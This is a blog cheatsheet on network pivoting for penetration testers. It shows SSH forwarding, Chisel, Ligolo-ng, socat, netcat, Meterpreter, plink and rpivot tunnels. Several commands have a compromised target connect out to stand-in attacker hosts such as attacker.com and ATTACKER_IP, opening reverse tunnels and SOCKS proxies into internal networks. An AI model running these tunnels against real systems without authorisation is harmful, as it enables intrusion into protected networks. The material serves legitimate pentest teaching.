← Back to writing
Tools & Cheatsheets

Port Forwarding & Tunneling

Dec 20, 2024
3 min read
lawbyte

Network segmentation is a common obstacle during pentests. Once you have a foothold in a segment, tunneling lets you reach further internal resources. This cheatsheet covers every reliable tunneling technique.

SSH Tunneling

Local Port Forwarding

Make a remote port accessible locally:

# Access target:80 via localhost:8080
ssh -L 8080:target-internal:80 user@jump-host

# Access RDP on internal host
ssh -L 3389:192.168.1.100:3389 user@public-server

# Multiple forwards
ssh -L 8080:web:80 -L 3306:db:3306 user@jump-host

# Keep alive, no command
ssh -L 8080:target:80 -N -f user@jump-host

Remote Port Forwarding

Expose a port on the target back to your machine:

# Target connects out to you, you tunnel traffic in
ssh -R 4444:localhost:4444 user@attacker.com

# Allow others to connect to the remote port
ssh -R 0.0.0.0:4444:localhost:4444 user@attacker.com # needs GatewayPorts yes

# Useful when target can't be reached directly
# You set up a listener on attacker.com:4444 and the target's reverse shell connects there

Dynamic Port Forwarding (SOCKS Proxy)

# Create SOCKS5 proxy via SSH
ssh -D 1080 user@jump-host -N -f

# Now configure proxychains to use it
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf

# Use proxychains with any tool
proxychains nmap -sT -Pn 192.168.2.0/24
proxychains curl http://internal-server/
proxychains evil-winrm -i 192.168.2.100 -u admin -p pass

Chisel

Fast TCP/UDP tunneling over HTTP with authentication. Works through firewalls.

# Download
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gzip -d chisel_linux_amd64.gz && chmod +x chisel_linux_amd64

SOCKS Proxy via Chisel

# Attacker (server)
./chisel server -p 9001 --reverse --auth user:pass

# Target (client)
./chisel client --auth user:pass ATTACKER_IP:9001 R:socks

# Attacker now has SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 192.168.2.1

Port Forward via Chisel

# Attacker
./chisel server -p 9001 --reverse

# Target — forward target's port 3306 to attacker's 3306
./chisel client ATTACKER_IP:9001 R:3306:localhost:3306

# Now attacker can connect to 127.0.0.1:3306 → target's MySQL
mysql -h 127.0.0.1 -P 3306 -u root

Ligolo-ng

Modern tunneling with TUN interface — tools work natively, no proxychains needed.

# Download
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy_linux_amd64
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_linux_amd64

# Attacker — create TUN interface and start proxy
ip tuntap add user root mode tun ligolo
ip link set ligolo up
./proxy -selfcert

# Target — connect back
./agent -connect ATTACKER_IP:11601 -ignore-cert

# In ligolo proxy console:
session # list sessions
# Select session
ifconfig # view target network interfaces
start # start tunneling

# On attacker — route through tunnel
ip route add 192.168.2.0/24 dev ligolo
# Now: nmap 192.168.2.0/24 works directly

socat

# Simple TCP port forward
socat TCP-LISTEN:8080,fork TCP:internal-server:80

# Relay with verbose logging
socat -v TCP-LISTEN:8080,fork TCP:internal-server:80

# UDP forward
socat UDP-LISTEN:1234,fork UDP:internal-server:1234

# SSL tunnel
socat OPENSSL-LISTEN:443,cert=server.pem,fork TCP:internal:80

Netcat Port Forwarding

# Simple relay (Linux)
mkfifo /tmp/fifo
nc -l -p 8080 < /tmp/fifo | nc internal-server 80 > /tmp/fifo

# Windows (without -e)
ncat -l -p 8080 --sh-exec "ncat internal-server 80"

Meterpreter Pivoting

# After getting a Meterpreter session on pivot host:
# Route traffic through session
route add 192.168.2.0/24 SESSION_ID

# SOCKS proxy through Meterpreter
use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

# Then use proxychains with 127.0.0.1:1080
proxychains nmap -sT 192.168.2.0/24

# Port forward
portfwd add -l 8080 -p 80 -r 192.168.2.10
# localhost:8080 → 192.168.2.10:80

On Windows targets without SSH:

# Download plink.exe (PuTTY plink)
# Transfer to target

# From Windows target — dynamic SOCKS
plink.exe -ssh -D 1080 user@attacker.com -N

# Local forward
plink.exe -ssh -L 8080:internal:80 user@attacker.com -N

# Remote forward (target → attacker)
plink.exe -ssh -R 4444:localhost:4444 user@attacker.com -N

rpivot

Reverse SOCKS proxy — useful when only outbound HTTP is allowed:

# Attacker
python server.py --proxy-port 1080 --server-port 9999

# Target
python client.py --server-ip ATTACKER_IP --server-port 9999

# Now use proxychains on attacker with port 1080

Proxychains Configuration

# /etc/proxychains.conf (or proxychains4.conf)
[ProxyList]
socks5 127.0.0.1 1080 # SSH dynamic or chisel
# socks4 127.0.0.1 1080
# http 127.0.0.1 8080

# Modes:
# strict_chain — all proxies must work (in order)
# dynamic_chain — skip failed proxies
# random_chain — random order

# Use proxychains4 for better compatibility
proxychains4 nmap -sT -Pn -p 80,443,3306 192.168.2.0/24
proxychains4 curl http://internal-service/
proxychains4 firefox & # use GUI tools through proxy

Double Pivot (Multi-Hop)

Reach a third network segment:

# Topology: Attacker → Pivot1 (192.168.1.100) → Pivot2 (10.10.10.50) → Target (172.16.0.0/24)

# Step 1: Chisel SOCKS through Pivot1
# Attacker: ./chisel server -p 9001 --reverse
# Pivot1: ./chisel client ATTACKER_IP:9001 R:socks
# Configure proxychains: socks5 127.0.0.1 1080

# Step 2: Upload chisel to Pivot2 via proxychains
proxychains4 scp chisel Pivot2:/tmp/

# Step 3: Chisel from Pivot2 through Pivot1's tunnel to attacker
# But we need a second port — use chisel server on Pivot1 instead:
# Via Pivot1 shell: ./chisel server -p 9002 (listening internally)
# Pivot2: proxychains4 ./chisel client Pivot1_IP:9002 R:socks

Quick Selection Guide

Scenario Tool
SSH access to pivot SSH -D (SOCKS) or -L (port forward)
HTTP/firewall restricted Chisel
Want native routing (no proxychains) Ligolo-ng
Windows target, no SSH plink or chisel
Meterpreter session route add + socks_proxy
Quick relay, any OS socat

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.